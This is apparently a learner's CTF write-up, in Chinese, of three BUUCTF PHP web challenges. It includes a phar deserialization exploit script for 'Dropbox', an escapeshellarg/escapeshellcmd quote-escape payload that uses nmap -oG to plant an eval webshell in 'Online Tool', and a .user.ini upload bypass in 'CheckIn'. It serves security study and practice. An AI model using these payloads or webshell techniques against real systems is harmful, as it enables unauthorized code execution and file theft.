BUUCTF复现记录2
[CISCN2019 华北赛区 Day1 Web1]Dropbox
打开题目,一个登录界面,SQL?
sqlmap跑一下,没有注入,那么注册一下
登录之后,发现只有一个上传页面,源码里面也没有什么
那就上传看看吧,只能上传图片格式的
上传一个试试
上传之后,发现有下载和删除选项,下载抓包看看。
在下载文件存在任意文件下载漏洞
在index.php里面看到包含了文件class.php,然后在下载其他文件,不过没有flag.php或者flag.txt
那么就代码审计
download.php,简单的对文件名做了一个限定
<?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { Header("Content-type: application/octet-stream"); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close(); } else { echo "File not exist"; } ?>
delete.php,先post一个filename,然后判断文件名长度,并打开文件,最后删除文件
<?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
class.php
<?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; //定义一个构造方法初始化数据库 public function __construct() { global $db; //调用全局变量 $this->db = $db; //初始化,连接数据库使用 } //定义一个判断用户是否存在的函数,在数据库里查询 public function user_exist($username) { //prepare 用于预备一个语句,方便以后引用 $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); //bind_param() 该函数绑定了SQL的参数,告诉数据库参数的值,s为string $stmt->bind_param("s", $username); $stmt->execute(); //execute()函数 用来执行之前预处理的语句 $stmt->store_result(); //返回查询的数据 $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } // public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } //确认用户存在 public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); //加盐哈希 $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } // 析构函数,对象生命周期结束的时候调用,必定执行,在结束的时候,会调用close()函数, // 在File类中可以看到,close函数,会执行file_get_contents(),来获取文件的内容 public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); // 在数组中搜索给定的值,成功则返回相应的键名。 unset($filenames[$key]); //销毁键名 $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); //将一个或多个单元压入数组的末尾,将file往files数组里面添加 $this->results[$file->name()] = array(); //这里得到上传文件名的名字,比如说,flag.txt } } //定义了一个魔术方法,用来监视一个对象的其他方法,如果调用了该类中没有定义的方法,就会触发该方法执行。 public function __call($func, $args) { array_push($this->funcs, $func); //如果调用了不存在的方法,将改方法放到funcs数组中 foreach ($this->files as $file) { //再从files数组中取出方法,利用这个元素去调用funcs中新增的func $this->results[$file->name()][$func] = $file->$func(); //$file->$func相当于close()函数 } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; //根据上面call魔术方法,funcs里面是FileList类里没有定义的方法,下面开始遍历 foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; //这里遍历,我们构造的filename为/flag.txt,所以这里利用close方法,读取flag.txt的值 foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); //该函数返回路径中,文件的部分,比如../../uploads/test.php ,返回的是test.php //利用的时候,flanamew设为/flag.txt,,则调用name函数的时候,返回的是flag.txt } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } //定义close()函数,用来获取文件的内容 public function close() { return file_get_contents($this->filename); } } ?>
从上面的三个代码审计可以知道,download.php代码就存在一个任意文件下载漏洞这么个作用,然后在delete.php执行的时候会post一个filename,并且会打开文件,然后删除文件,这里可以利用来读取文件
最后就是class.php,定义了三个类,User,FileList,File。
在User类中,重要关注的是析构函数,他会调用close()函数,而close函数是File类里面定义的一个用来读取文件内容
析构函数会在对象生命周期结束的时候调用,所以最终会调用close()函数,并且读取文件,没有回显,不会输出
那么输出只能在FileList类里面了,可以看到,里面有两个关键的方法,__call魔术方法,方法作用就不说了,上面代码里面说的清楚
__destruct()析构函数里面,有输出,会调用触发__call方法的方法,利用这个来读取文件,并输出。
对于上面的,我们需要使用phar:协议来绕过对flag字符的,读取文件
关于该协议,这里说的不错:https://xz.aliyun.com/t/2715
那么就可以创建User的对象,让db变量是FileList的对象,对象中的文件名定为的位置,猜为flag.txt这样db对象结束时就会调用析构函数,继而执行close函数。但是在db变量中是没有close方法的,所以会触发__call方法,这样就会变成执行了File对象的close方法,触发完__call方法之后,接下来就是析构函数,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来
下面是利用phar来构造payload:
<?php class User { public $db; public function __construct(){ $this->db=new FileList; } } class File{ public $filename; } class FileList{ private $files; private $results; private $funcs; public function __construct(){ $file=new File; $file->filename='/flag.txt'; $this->files = array($file); $this->results = array(); $this->funcs = array(); } } ini_set('phar.readonly',0); @unlink("phar.phar"); $phar = new Phar("mortals.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $mortals = new User(); $phar->setMetadata($mortals); //将自定义的meta-data存入manifest $phar->addFromString("shell.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
执行之后,会生成一个一个文件mortals.phar
上传phar,然后删除时,delete.php处存在file类的open函数,open函数存在file_exists()方法,这样就可以触发我们phar的反序列化,然后我们phar中调用了User类,User类destruct的时候,调用了db.close方法。抓包,改包,发包,利用phar://协议来读取文件,最终得到flag。
..............end..........
代码审计好难,懵懵懂懂的,看了各位大哥WP。
Online Tool
打开题目地址得到源码,代码审计:
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { //获取IP $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); //对文件语法进行高亮显示 } else { $host = $_GET['host']; $host = escapeshellarg($host); //把字符串转码成可以在shell命令里使用的参数,将单引号进行转义,转义之后,再在左右加单引号 $host = escapeshellcmd($host); //对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,将&#;`|*?~<>^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义 $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); //新建目录,默认权限,最大可能的访问权 chdir($sandbox); //改变目录路径,成功返回true,失败返回false echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); // -sT,在目标主机的日志上记录大批连接请求和错误的信息 // -Pn,扫描之前不需要用ping命令,有些防火墙禁止使用ping命令 // -T5,时间优化参数,-T0~5,-T0扫描端口的周期大约为5分钟,-T5大约为5秒钟 // --host-time限制扫描时间 // -F,快速扫描
关键点在于这个两个函数,这两个函数结合在一起使用,且先调用escapeshellarg函数的时候,有危险
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
可以知道,escapeshellarg函数会先对host变量中的单引号进行转义,并且转义之后,在 \' 的左右两边再加上单引号,变成 '\''
接下来到escapeshellcmd函数,会对host变量中的特殊字符进行转义(&#;`|*?~<>^()[]{}$\, \x0A//和\xFF以及不配对的单/双引号转义)
那么上面的 \ 就会被再次转义,比如变成 '\\''
在测试的时候得到,如果在字符串首尾加上单引号,经过escapeshellarg函数之后,就可以实现将单引号给闭合了,在经过escapeshellcmd函数的时候单引号就是配对的,就不会进行转义
比如说:
'mortals tx'
先后经过两个函数的变化:
escapeshellarg:''\'' mortals tx ''\'' escapeshellcmd: ''\\''mortals tx ''\\''
这样就可以实现单引号的逃逸了
在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件,也就是说我们可以使用这个参数
写一个一句话到sandbox里面去,然后执行就行了
在一句话里面,因为又特殊字符,所以经过escapeshellcmd函数的时候会被转义,但执行的时候就没了
来测试一下看看
可以看到,通过-oG参数,得到了一个text1的文件(高版本的可以使用-oN,题目环境为php5版本),里面就有写的一句话,变正常了
也就是说,可以这样构造来一句话后门了
?host=' <?php @eval($_POST["tx"]);?> -oG mortals.php '
根据给的源码知道,执行之后,会生成一个目录,然后这个文件就到了生成的目录中
在生成的目录下执行mortals.php文件,然后蚁剑连接
可以看到,上传成功,并且,可以打开终端了,在根目录下,可以发现flag文件
打开,即可获得flag。
当然,也可以将一句话中的POST改为GET,然后再URL上直接执行系统命令,获取flag
/mortals.php?tx=system('cat /flag');
参考资料:
https://paper.seebug.org/164/#0-tsina-1-56231-397232819ff9a47a7b7e80a40613cfe1
https://althims.com/2019/07/25/buu-online-tool-wp/
https://v0w.top/2018/04/21/SKCTF2-wp/#web-nmap
http://eustiar.tk/archives/521
http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/#%E4%B8%80-%E5%89%8D%E6%83%85%E6%8F%90%E8%A6%81
[SUCTF 2019]CheckIn
基于各位师傅的WP,复现,学习
上传的题目
题目的考点是利用.user.ini漏洞
通过查看P牛关于.user.ini文件利用:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
可以知道PHP_INI配置文件的一些配置,可以通过.user.ini来实现,而.user.ini文件是用户自定义的
可以设置PHP_INI里面除了PHP_INI_SYSTEM模式外的之外的配置文件
而在PHP_INI里面有个配置是.user.ini是有权设置的:auto_prepend_file,通过这个设置可以实现包含文件
在该题里面,禁止了很多,但是对于上传的文件,是通过exif_image来判断上传的文件头,读取一个图像的第一个字节并检查其签名。
可以在上传的文件头加一个图片的文件头就可以了
那么现在就是制作.user.ini文件和一句话,先上传.user.ini文件来实现包含,上传之后还给出了文件所在目录
接着上传test.png
上传成功之后,访问即可获得flag